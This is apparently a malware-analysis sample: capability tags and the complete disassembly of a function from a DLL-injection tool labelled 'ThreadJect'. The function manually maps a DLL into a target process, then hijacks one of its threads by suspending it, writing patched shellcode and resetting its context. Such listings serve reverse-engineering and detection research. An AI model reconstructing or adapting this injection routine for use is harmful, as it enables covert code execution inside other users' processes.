Function at 0x401190
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Get file size
Hijack thread execution
Parse pe header
Read file on windows
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x324
push ebx
push esi
push edi
push str._n_n
call fcn.00401010
add esp, 4
push str._n____________________GLOADER___CC_n
call fcn.00401010
add esp, 4
push str._n_n
call fcn.00401010
add esp, 4
mov dword [esp + 0x44], 0x1c
cmp dword [ebp + 8], 3
mov dword [esp + 0x60], 0x10007
je 0x4011f3
push str._nUsage:_ThreadJect__PID___DLL_name__n
call fcn.00401010
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._nOpening_the_DLL._n
call fcn.00401010
mov eax, dword [ebp + 0xc]
add esp, 4
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40123f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_the_DLL___d__n
call fcn.00401010
add esp, 8
or eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov ebx, eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x401285
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_DLL_data___d__n
call fcn.00401010
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [esp + 0x44]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4012cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_read_the_DLL___d__n
call fcn.00401010
add esp, 8
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov eax, 0x5a4d
cmp word [edi], ax
je 0x401304
push str._nError:_Invalid_executable_image._n
call fcn.00401010
add esp, 4
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [esp + 0x10], eax
cmp dword [eax], 0x4550
je 0x40131c
push str._nError:_Invalid_PE_header._n
jmp 0x4012e4
mov ecx, 0x2000
test word [eax + 0x16], cx
jne 0x40132e
push str._nError:_The_image_is_not_DLL._n
jmp 0x4012e4
lea eax, [esp + 0x1f]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
push str._nOpening_target_process_handle._n
call fcn.00401010
mov eax, dword [ebp + 0xc]
add esp, 4
push dword [eax + 4]
call fcn.00406950
add esp, 4
mov dword [esp + 0x20], eax
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x401390
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_target_process_handle___d__n
call fcn.00401010
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._nAllocating_memory_for_the_DLL._n
call fcn.00401010
mov eax, dword [esp + 0x14]
add esp, 4
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x4013eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_the_DLL___d__n
call fcn.00401010
add esp, 8
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call ebx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._nCopying_headers_into_target_process._n
call fcn.00401010
mov eax, dword [esp + 0x14]
add esp, 4
push 0
push dword [eax + 0x54]
push edi
push dword [esp + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40143f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_copy_headers_to_target_process___d__n
call fcn.00401010
add esp, 8
push 0x8000
push 0
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebx
jmp 0x4012ec
push str._nCopying_sections_to_target_process._n
call fcn.00401010
mov eax, dword [esp + 0x14]
xor ecx, ecx
add esp, 4
mov dword [esp + 0x18], 0
cmp cx, word [eax + 6]
jae 0x40149d
lea ebx, [eax + 0x10c]
mov eax, dword [ebx]
push 0
push dword [ebx - 4]
add eax, edi
push eax
mov eax, dword [ebx - 8]
add eax, dword [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x10]
lea ebx, [ebx + 0x28]
mov ecx, dword [esp + 0x18]
inc ecx
mov dword [esp + 0x18], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jb 0x401466
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push str._nAllocating_memory_for_the_loader_code._n
call fcn.00401010
add esp, 4
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4014d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_the_loader_code___d__n
jmp 0x40141d
push eax
push str._nLoader_code_allocated_at__x_n
call fcn.00401010
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x30], edx
mov eax, dword [edi + 0x3c]
add eax, edx
mov dword [esp + 0x34], eax
mov eax, dword [ecx + 0xa0]
add eax, edx
mov dword [esp + 0x38], eax
mov eax, dword [ecx + 0x80]
add eax, edx
mov dword [esp + 0x3c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x40], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str._nWriting_loader_code_to_target_process._n
mov dword [esp + 0x48], eax
call fcn.00401010
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x34]
add esp, 0xc
push 0
push 0x18
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401180
lea ecx, [edi + 0x18]
sub eax, 0x401050
mov dword [esp + 0x28], ecx
push eax
push 0x401050
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
push str._nFinding_a_thread_to_hijack._n
call fcn.00401010
add esp, 4
lea eax, [esp + 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x4015cd
nop word [eax + eax]
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x50], eax
je 0x4015bc
lea eax, [esp + 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x4015a0
jmp 0x4015cd
push dword [esp + 0x4c]
push str._nTarget_thread_found._Thread_ID:__d_n
call fcn.00401010
add esp, 8
push edi
call ebx
push str._nAllocating_memory_in_target_process._n
call fcn.00401010
add esp, 4
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x40161b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_in_target_process___d_
call fcn.00401010
add esp, 8
push esi
call ebx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push str._nMemory_allocated_at__x_n
call fcn.00401010
push str._nOpening_target_thread_handle._n
call fcn.00401010
add esp, 0xc
push dword [esp + 0x4c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
jne 0x40167c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_target_thread_handle___d__n
call fcn.00401010
add esp, 8
push 0x8000
push edi
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._nSuspending_target_thread._n
call fcn.00401010
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [esp + 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 4
push 0x3000
push 0x10000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x41d920]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x24]
movups xmmword [eax], xmm0
mov dword [esp + 0x14], eax
movups xmm0, xmmword [0x41d930]
movups xmmword [eax + 0x10], xmm0
mov cl, byte [0x41d940]
mov byte [eax + 0x20], cl
lea ecx, [eax + 1]
nop dword [eax]
mov al, byte [ecx - 1]
cmp al, 0xb8
jne 0x4016f4
cmp dword [ecx], 0xcccccccc
jne 0x401721
mov dword [ecx], ebx
inc ecx
jmp 0x4016e0
cmp al, 0x68
jne 0x40170c
cmp dword [ecx], 0xcccccccc
jne 0x401721
mov eax, dword [esp + 0x118]
mov dword [ecx], eax
inc ecx
jmp 0x4016e0
cmp al, 0xba
jne 0x40171d
cmp dword [ecx], 0xcccccccc
jne 0x401721
mov dword [ecx], edx
inc ecx
jmp 0x4016e0
cmp al, 0xc3
je 0x401724
inc ecx
jmp 0x4016e0
push str._nWriting_shellcode_into_target_process._n
call fcn.00401010
add esp, 4
push 0
push 0x21
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40179c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_write_shellcode_into_target_process___d__n
call fcn.00401010
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
push 0x8000
push 0
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x10]
push str._nHijacking_target_thread._n
mov dword [esp + 0x11c], eax
call fcn.00401010
add esp, 4
lea eax, [esp + 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x4017d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_hijack_target_thread___d__n
jmp 0x40175a
push str._nResuming_target_thread._n
call fcn.00401010
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
push 0x8000
push 0
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret